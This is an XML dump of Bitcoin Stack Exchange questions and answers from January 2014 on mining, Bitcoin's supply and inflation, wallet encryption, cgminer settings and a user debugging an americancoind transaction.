  <row Id="19956" PostTypeId="1" CreationDate="2014-01-06T16:27:41.857" Score="3" ViewCount="300" Body="&lt;p&gt;If you can mine money whenever you want how does the price of every bitcoin not diminish?&lt;/p&gt;&#xA;" OwnerUserId="11847" LastEditorUserId="5406" LastEditDate="2016-04-17T20:46:24.777" LastActivityDate="2016-04-17T20:46:24.777" Title="If anyone can mine how does inflation not occur?" Tags="|mining-reward|money-supply|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19957" PostTypeId="1" CreationDate="2014-01-06T16:32:34.873" Score="0" ViewCount="131" Body="&lt;p&gt;I started mining litecoins yesterday on cgminer (been mining for about an hour) and so far I have got nothing in my account. &#xA;What am I doing wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two screenshots one is of cgminer, the other is of my give-me-coins account:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gyazo.com/2fb18a76dedb71eb80c8a19126ab231f&quot; rel=&quot;nofollow&quot;&gt;http://gyazo.com/2fb18a76dedb71eb80c8a19126ab231f&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gyazo.com/89ca55239de31a6da4bca25072096b4e&quot; rel=&quot;nofollow&quot;&gt;http://gyazo.com/89ca55239de31a6da4bca25072096b4e&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11848" LastEditorUserId="132" LastEditDate="2014-01-07T10:56:15.487" LastActivityDate="2014-05-07T14:07:58.410" Title="Trouble with getting litecoins in my give-me-coins account" Tags="|litecoin|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19958" PostTypeId="2" ParentId="19957" CreationDate="2014-01-06T16:39:44.383" Score="1" Body="&lt;p&gt;You need to launch cgminer with --scrypt at the command line, you will see instead of Mh/s you should be getting Kh/s.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-01-06T16:39:44.383" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="19959" PostTypeId="2" ParentId="19956" CreationDate="2014-01-06T16:47:15.240" Score="0" Body="&lt;p&gt;Because the economy is limited to 21 million coins.  They are created at a slow and regular pace that controls the amount of coins that are released at one given time.  This is considered to be a deflationary system.  The key aspect is that it is not easy to mine Bitcoin today nor will it be going into the future.  To accumulate any amount of it by mining you need to spend a lot more on hardware than most folks are willing to invest.  Low end mining on personal computers is no longer profitable and will actually cost more in power than you will ever see in returned Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-01-06T16:47:15.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19961" PostTypeId="1" CreationDate="2014-01-06T16:49:27.533" Score="3" ViewCount="4418" Body="&lt;p&gt;I was wondering as Bitcoin is represented in the public and media as a &lt;code&gt;deflationary&lt;/code&gt; currency (for more adept media as payment protocol). Is it really deflationary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deflation is &lt;a href=&quot;http://en.wikipedia.org/wiki/Deflation&quot; rel=&quot;nofollow&quot;&gt;described on Wikipedia&lt;/a&gt; as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In economics, deflation is a decrease in the general price level of goods and services ...&#xA;  &lt;strong&gt;This allows one to buy more goods with the same amount of money over&#xA;  time.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Inflation is &lt;a href=&quot;http://en.wikipedia.org/wiki/Inflation&quot; rel=&quot;nofollow&quot;&gt;described on Wikipedia&lt;/a&gt; as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Economists generally believe that high rates of inflation and hyperinflation are caused by &gt;an &lt;strong&gt;excessive growth of the money supply&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At the moment there is really an excessive growth of Bitcoin supply - in the past 4 years there was mined over &lt;strong&gt;12 millions of bitcoins&lt;/strong&gt; and will continue&#xA; with every block rewarded by c. 2140 when all bitcoins are expected to be mined. So there will be only transaction fees as block rewards, which will  end the growth of the units supply. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can we consider Bitcoin as inflationary and deflationary currency until 2140, because there are still new bitcoins generated until c. 2140?&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2014-02-01T11:57:27.380" LastActivityDate="2017-12-27T07:18:37.600" Title="Is Bitcoin deflationary and inflationary at the same time?" Tags="|economic-theory|deflation|terminology|inflation|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19962" PostTypeId="2" ParentId="19961" CreationDate="2014-01-06T16:59:40.557" Score="6" Body="&lt;p&gt;The keyword is &quot;excessive&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inflation can be related to the supply of money with the quantity theory of money:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;MV = PQ&lt;/code&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;strong&gt;M&lt;/strong&gt; is the supply of money, &lt;strong&gt;V&lt;/strong&gt; is the velocity of money, &lt;strong&gt;P&lt;/strong&gt; is prices, and &lt;strong&gt;Q&lt;/strong&gt; is production, all taken as the temporal quotient thus geometrically added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prices can only go up or down.  Judging by the exchange rate, prices in terms of BTC are deflating as no one would pay 3 BTC for a gallon of gasoline as they would at the beginning of 2012 or so; now, they would pay 0.0003 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Price are deflating because demand for bitcoin is rising as evidenced by the skyrocketing velocity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even though the supply is growing, it is not excessive because velocity is growing so much faster.  Actually, the supply of bitcoin should've grown faster during this period, but it is not programmed to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No cryptocurrency is currently programmed for perfect price stability.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-01-06T16:59:40.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19963" PostTypeId="2" ParentId="19950" CreationDate="2014-01-06T17:01:25.740" Score="7" Body="&lt;p&gt;A simple Bitcoin wallet consists on one of more pairs of public and private keys (I'm saying simple here as some wallet structure allow for deterministic public key generations and private keys that can only spend part of the wallet, but the principle with public/private keys remains the same). The &quot;link&quot; to Bitcoin initially happens during block generation where a certain amount of Bitcoin is generated and sent to the miner's public address; this is merely a record in the blockchain. Then these coins can be sent to other public addresses using transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most simple transaction has one input and one output; i.e. it spends coins from one source address to one destination address. To be valid, the amount of output coins must not exceed the amount of input coins, and to be verified the output address hash is signed by the input address' private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In real world though, wallets balances become the sum of all inputs to that wallet, so when you make a transaction the software will select the desired number of inputs to get a sum equal of greater to the desired transaction output + fee. If the amount exceeds what you want to spend, the remainder can be send back to one of the input address or even a new address of your wallet, so you basically send yourself the exceeding amount of Bitcoins. Any unspent amount in the transaction is considered fee and is collected by the miner generating the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions can also be much more complex; Bitcoin allows for a very powerful scripting system that can make transactions spendable in many ways. You can read more about bitcoin transactions and scripting system here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you send out a transaction, it is relayed to the network for inclusion in a block if it passes common rules for transactions (validity, fee, size, etc.). A miner will eventually pick your transaction and include it a block (the transactions are actually included in a merkle tree whose root hash is in in the block header - the block header hash is the proof of work that has to match the difficulty requirement for the block).&lt;/p&gt;&#xA;" OwnerUserId="11802" LastEditorUserId="11802" LastEditDate="2015-03-13T16:11:21.813" LastActivityDate="2015-03-13T16:11:21.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19965" PostTypeId="1" AcceptedAnswerId="20228" CreationDate="2014-01-06T17:19:14.593" Score="3" ViewCount="7791" Body="&lt;p&gt;Does anyone know why there are no Scrypt based merged mining pools out their yet? I would imagine that if it was possible it would have been done already. There is no problem to do it with SHA-256 based coins, so why can't we do it with Scrypt?&lt;/p&gt;&#xA;" OwnerUserId="8935" LastActivityDate="2014-06-17T11:45:53.553" Title="Scrypt based merged mining pools" Tags="|scrypt|merged-mining|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19966" PostTypeId="2" ParentId="19956" CreationDate="2014-01-06T17:42:09.027" Score="1" Body="&lt;p&gt;Everyone cannot mine (create) money (BTC) whenever they want. They can only do it when they have successfully added a block to the blockchain. Your premise is the equivilent of saying &quot;If anyone can win the lottery whenever they want...&quot;&lt;/p&gt;&#xA;" OwnerUserId="9654" LastActivityDate="2014-01-06T17:42:09.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19967" PostTypeId="2" ParentId="19956" CreationDate="2014-01-06T17:48:20.567" Score="0" Body="&lt;p&gt;I don't think the statement that everyone can mine is true. Sure, anyone can turn on a computer and set up their CPU to start hashing, but they will never generate a block and at the current difficulty they won't even get any shares in a pool, because the shares will be invalid by time they submit it back to the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, in oder to to mine, you at the very least need a bad &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining#ASIC_Mining&quot; rel=&quot;nofollow&quot;&gt;ASIC-based miner&lt;/a&gt;. The worst on market I think is a 10&amp;nbsp;GHash/sec device which will return something around US$2-3/day which is not nearly enough for anyone living in any remotely developed country to live on. You are also assuming people would never want more money than they have currently mined which I believe to be a false premise.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastEditorUserId="1405" LastEditDate="2014-01-06T19:50:42.460" LastActivityDate="2014-01-06T19:50:42.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19968" PostTypeId="2" ParentId="19956" CreationDate="2014-01-06T18:40:21.910" Score="4" Body="&lt;p&gt;The answer to your question can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;on the Bitcoin wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's true that everyone can mine, but the amount of coins that are up to be mined by miners is controlled by the Bitcoin protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty of mining a &quot;block&quot; is adjusted automatically (every 2016 blocks or ~ 2 weeks). The adjustment is made by all miners using a transparent calculation. The adjustment aims to &lt;em&gt;retain a rate of approximately 1 block mined every 10 minutes&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, &lt;strong&gt;every ~4 years (or 210000 blocks), the reward for finding a block is halved&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking this two things in account, the reward for mining a block will become zero after 6930000 blocks or ~136 years. (It becomes zero because the precision in which bitcoins can me measured is too low.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may think that people will stop mining when the reward becomes too low, but you have to keep in mind that miners also get the transaction fees from the transactions they verify in their blocks. Currently the accumulated fee is only a fraction of the total reward, but as the reward decreases (and Bitcoin raises in value), these fees will (hopefully) become a sufficient incentive to mine.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-06T18:40:21.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19969" PostTypeId="2" ParentId="19867" CreationDate="2014-01-06T18:50:48.147" Score="-1" Body="&lt;p&gt;The math says that the coins will be fully mined-ish in 1.43 years (525 days) from the genesis block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's June 2015 folks&lt;/p&gt;&#xA;" OwnerUserId="11854" LastActivityDate="2014-01-06T18:50:48.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19970" PostTypeId="2" ParentId="19950" CreationDate="2014-01-06T18:51:08.260" Score="23" Body="&lt;p&gt;Thomas' answer is correct, but I think an easy version may be appreciated as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose you know the concept of &lt;a href=&quot;https://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;noreferrer&quot;&gt;public key cryptography&lt;/a&gt;? If you don't, here is a very short explanation (or read the wikipedia page): Public key cryptography (as used in Bitcoin), allows you to hand people a public key and use the corresponding private key to prove the ownership. So you can create any random private key (keep it secret) and calculate the corresponding public key (give it out to public for verification). Using this private key, you can sign a message and other people can verify that you own the private key by using your public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, applied to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin address is just a shorthand notation for a public key. When someone makes a transaction to an address, he states that &lt;em&gt;&quot;I give the right to spend this money to the person who owns the private key corresponding to this address&quot;&lt;/em&gt;.&#xA;The person who has received this transaction will in turn be able to spend the transaction by signing the transaction using his private key. With this signature he can prove that he owns the key, without disclosing it. Others can verify the signature using the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the second part of your question, it gets a little more advanced. An easy way of viewing it is that every transaction takes a number of inputs and generates a number of outputs. Inputs in this case are outputs from previous transactions. For each input, the user will have to provide verification he is allowed to spend that output by adding a signature.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2016-09-06T23:09:01.860" LastActivityDate="2016-09-06T23:09:01.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19971" PostTypeId="1" AcceptedAnswerId="20028" CreationDate="2014-01-06T19:03:53.220" Score="1" ViewCount="268" Body="&lt;p&gt;in attempting to answer &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11977/bitcoin-qt-multiple-wallets-and-transferring-between&quot;&gt;Bitcoin-qt multiple wallets and transferring between?&lt;/a&gt;, and teach myself in the process, I created a new wallet.dat file and saved it to group_wallet.dat after generating an address. I then restored my_wallet.dat to be wallet.dat, and sent an AmericanCoin to that address. almost a full day later, the funds don't show up. the transaction is in the blockchain, but they never made it to the wallet. I've switched wallets back and forth a few times since then; the one from which I sent the money is fine, and shows the -1.0 transaction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/.americancoin$ americancoind getaddressesbyaccount ''&#xA;[&#xA;    &quot;AzpvNNAUFYjW79uCS1Q9ALNSVhABqrUC1U&quot;,&#xA;    &quot;Argr7YW2enzC7TkFp4cJiVDJ1wSYPkh5ox&quot;&#xA;]&#xA;jcomeau@aspire:~/.americancoin$ americancoind getreceivedbyaddress AzpvNNAUFYjW79uCS1Q9ALNSVhABqrUC1U&#xA;0.00000000&#xA;jcomeau@aspire:~/.americancoin$ americancoind decoderawtransaction $(americancoind getrawtransaction 9982de4dc77eab126d2ad4837db477577bbeee733ef381c1889576cfbd328473)&#xA;{&#xA;    &quot;txid&quot; : &quot;9982de4dc77eab126d2ad4837db477577bbeee733ef381c1889576cfbd328473&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;45614d6a67973f9d4728a2724547f3b7e9274218df28599d63f50f112cfa1d8b&quot;,&#xA;            &quot;vout&quot; : 1,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;304602210088aacfccfe71532a5bbfc3145bbff8c1f3470e228b35e879146b30ec4b3526b8022100f566b0aa825ee6786af3619f1e73d89d2b3902468c4a15082af0e15324fc37c201 02047541ccbfea550183dcd9cc21b11af6975339f61c5908f13b8f8d6d2c42fbdb&quot;,&#xA;                &quot;hex&quot; : &quot;49304602210088aacfccfe71532a5bbfc3145bbff8c1f3470e228b35e879146b30ec4b3526b8022100f566b0aa825ee6786af3619f1e73d89d2b3902468c4a15082af0e15324fc37c2012102047541ccbfea550183dcd9cc21b11af6975339f61c5908f13b8f8d6d2c42fbdb&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 25.74101000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 a1ddfc061b9f000cb647f3cd1c08e6fdeacf72ec OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914a1ddfc061b9f000cb647f3cd1c08e6fdeacf72ec88ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;AusMMF3ETMkzvhfTUp61NoWBcCDoHcn9rQ&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 1.00000000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 d840edbda2020b44b9fa4ad8ff912e79eb3cc000 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914d840edbda2020b44b9fa4ad8ff912e79eb3cc00088ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;AzpvNNAUFYjW79uCS1Q9ALNSVhABqrUC1U&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there may be multiple ways to find out what block it's in, but I stumbled upon one yesterday by attempting to resend the raw transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/.americancoin$ americancoind sendrawtransaction $(americancoind getrawtransaction 9982de4dc77eab126d2ad4837db477577bbeee733ef381c1889576cfbd328473)&#xA;error: {&quot;code&quot;:-5,&quot;message&quot;:&quot;transaction already in block 29ddf391af012069f02a6e120348d5206548d50f818cad4d5182f28540d842fd&quot;}&#xA;jcomeau@aspire:~/.americancoin$ americancoind getblock 29ddf391af012069f02a6e120348d5206548d50f818cad4d5182f28540d842fd | grep confirm&#xA;    &quot;confirmations&quot; : 167,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm well aware that one needs to get 120 confirmations on a block to get the block reward, but transactions, as I understand, are considered valid after 6. but this has surpassed even the 120. so where is the coin? I'm assuming someone else generated the same address with a different private key. if they instead stole my wallet (by cracking my netbook) it should still show up in the transaction list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but is that the most likely possibility? there almost has to be something I'm overlooking.&lt;/p&gt;&#xA;" OwnerUserId="3758" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-01-07T07:06:31.757" Title="coin seems to have gone to a duplicate address" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19972" PostTypeId="2" ParentId="19961" CreationDate="2014-01-06T19:06:10.427" Score="3" Body="&lt;p&gt;This is a tough question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd consider Bitcoin as being just deflationary. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because, instead of thinking about mining as &quot;adding new currency&quot;, you could consider that mining is just &quot;enabling&quot; more coins each block from the 21 million total coins. Everyone knows that ultimately there will be 21 million coins, just not all of them are spendable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting Wikipedia on inflation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In economics, inflation is a persistent increase in the general price level of goods and services in an economy over a period of time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's clear that the increase of the amount of Bitcoin in circulation is not &lt;em&gt;persistent&lt;/em&gt;. I ends. We all know when and why and how much there will ultimately exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, why is Bitcoin deflationary. Again quoting Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Deflation occurs when the inflation rate falls below 0% (a negative inflation rate).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One can argue that after the last block reward has been paid, the amount of bitcoins will stay the same. That's not true. Now already, bitcoins are getting lost. People lose bitcoins every day by losing the private keys. So, bitcoins will become scarcer whenever the rate at which people lose them tops the generation rate through mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ultimately, the number of spendable bitcoins will decrease, but firstly, as bitcoins tend to increase in value, people will probably become more careful with them over time. And second, bitcoins can be &lt;a href=&quot;https://en.bitcoin.it/wiki/Units&quot; rel=&quot;nofollow&quot;&gt;divided to the order of 10^8&lt;/a&gt;, so even when there is only a fraction of the 21 million bitcoins left, people will be able to spend regular amounts using the bitcoin protocol.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2014-01-24T18:25:59.420" LastActivityDate="2014-01-24T18:25:59.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19973" PostTypeId="1" CreationDate="2014-01-06T19:34:23.223" Score="-4" ViewCount="3156" Body="&lt;p&gt;I've been mining now for about two hours. How long would it take for anything to appear in my account?&lt;/p&gt;&#xA;" OwnerUserId="11848" LastEditorUserId="1405" LastEditDate="2014-06-25T08:45:18.587" LastActivityDate="2014-06-25T08:45:18.587" Title="After mining litecoins for about two hours, how long will it take for anything to go into my account?" Tags="|litecoin|cgminer|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19974" PostTypeId="2" ParentId="19973" CreationDate="2014-01-06T19:38:26.067" Score="1" Body="&lt;p&gt;This depends on a lot of things including what kind GPU's you are using and if you are pooled mining or mining with the main client. If you are solo mining with a GPU you will most likely not see anything for a very long time or at all. You can use this to determine how much you would make mining with a pool &lt;a href=&quot;https://www.litecoinpool.org/calc&quot; rel=&quot;nofollow&quot;&gt;https://www.litecoinpool.org/calc&lt;/a&gt;. I don't mine litecoins myself but it seems that &lt;a href=&quot;https://www.wemineltc.com&quot; rel=&quot;nofollow&quot;&gt;https://www.wemineltc.com&lt;/a&gt; is a popular pool for people who do.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastEditorUserId="11189" LastEditDate="2014-01-06T19:56:31.200" LastActivityDate="2014-01-06T19:56:31.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19975" PostTypeId="1" AcceptedAnswerId="20039" CreationDate="2014-01-06T19:52:07.017" Score="2" ViewCount="1173" Body="&lt;p&gt;Would you store an encrypted wallet (backup) of significant value on dropbox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the passcode is good and secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet in question is bitcoin-qt, encrypted using the built-in encryption feature.&lt;/p&gt;&#xA;" OwnerUserId="11495" LastActivityDate="2014-01-07T21:16:15.807" Title="How secure is an encrypted wallet?" Tags="|wallet|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19977" PostTypeId="2" ParentId="19975" CreationDate="2014-01-06T20:16:31.767" Score="0" Body="&lt;p&gt;It all comes down to much do you care about the wallet's security. The more secure it is the less convenient it will be for you. In this case your wallet will be only as secure as your dropbox account (decrypting the wallet is just a matter of time). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saving the encrypted wallet on your PC is also not that safe.&#xA;If you really care about it you can store it in a usb stick with a linux based OS installed in it (Instead of keeping it on the PC). That way The OS with the wallet accesses the internet only for a brief time when you make a transaction. This is not a convenient way to perform a transaction but is the safest I know.&lt;/p&gt;&#xA;" OwnerUserId="8935" LastActivityDate="2014-01-06T20:16:31.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19978" PostTypeId="1" CreationDate="2014-01-06T20:17:46.297" Score="0" ViewCount="212" Body="&lt;p&gt;I use cgminer and I have a zotac nvidia geforce gtx 680 graphics card, what is the best intensity to use.&lt;/p&gt;&#xA;" OwnerUserId="11848" LastActivityDate="2014-02-05T21:18:07.370" Title="what is the best mining intenisty to use for certain grahpichs cards?" Tags="|litecoin|cgminer|mining-pools|gpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19979" PostTypeId="2" ParentId="19978" CreationDate="2014-01-06T20:26:13.127" Score="1" Body="&lt;p&gt;I would not bother using a nvidia graphic card but the choice is yours from experience they run way to hot and don't produce enough power especially at current difficulty. Anyway take a look at this list &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; it lists a lot of best settings as well as gives you an idea if your card is hitting the hashing rate that it should be.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2014-01-06T20:26:13.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19981" PostTypeId="1" CreationDate="2014-01-06T21:05:59.087" Score="7" ViewCount="304" Body="&lt;p&gt;What happens if two different groups have a definitive disagreement about the evolution of the bitcoin protocol? I have read is several places that the &quot;majority&quot; somehow would win, but is this really true, or could two different branches (A and B) of the blockchain (now tree) survive indefinitely in parallel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine that since the coins can be spent twice, once in each branch, they would somehow have their effective value halved. Suppose I'm a supporter of branch B, I would want to sell the A versions of my coins to buy more B-coins. The exact exchange ratio between the two new type of coins would depends on the relative size of the two communities. Is this scenario plausible, or is it economically unstable?&lt;/p&gt;&#xA;" OwnerUserId="11863" LastEditorUserId="11863" LastEditDate="2014-01-08T23:19:39.653" LastActivityDate="2014-01-13T13:14:32.683" Title="Could bitcoin &quot;survive&quot; a definitive hard fork, spawning a new currency?" Tags="|blockchain-fork|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19982" PostTypeId="2" ParentId="19922" CreationDate="2014-01-06T21:19:01.663" Score="-1" Body="&lt;p&gt;There shouldn't be any problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think it is a waste of memory/disk/processor time. You may just store the blockchain on some external drive, if you want that to be portable.&lt;/p&gt;&#xA;" OwnerUserId="6858" LastActivityDate="2014-01-06T21:19:01.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19983" PostTypeId="1" CreationDate="2014-01-06T21:23:56.113" Score="-1" ViewCount="380" Body="&lt;p&gt;Where does the Bitcoin money come from? You know how banks distribute money, how does someone have enough money to distribute bit coins which can be turned into money?&lt;/p&gt;&#xA;" OwnerUserId="11864" LastActivityDate="2014-01-06T21:44:08.377" Title="Where does the money come from?" Tags="|development|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-07T09:38:06.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="19985" PostTypeId="2" ParentId="17751" CreationDate="2014-01-06T21:31:12.927" Score="0" Body="&lt;p&gt;There are plenty of very easy-to-use tools that can generate addresses for you, the exact process is detailed &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;in the Bitcoin wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples of such tools are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitaddress.org/&quot; rel=&quot;nofollow&quot;&gt;BitAddress.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://brainwallet.org&quot; rel=&quot;nofollow&quot;&gt;BrainWallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-06T21:31:12.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19986" PostTypeId="1" AcceptedAnswerId="118955" CreationDate="2014-01-06T21:31:34.290" Score="14" ViewCount="20622" Body="&lt;p&gt;I'm running bitcoind and I want to send all my coins to another address. What is the command for this? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2023-07-17T19:56:54.150" Title="What is the bitcoind command to send all coins to another address?" Tags="|bitcoind|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
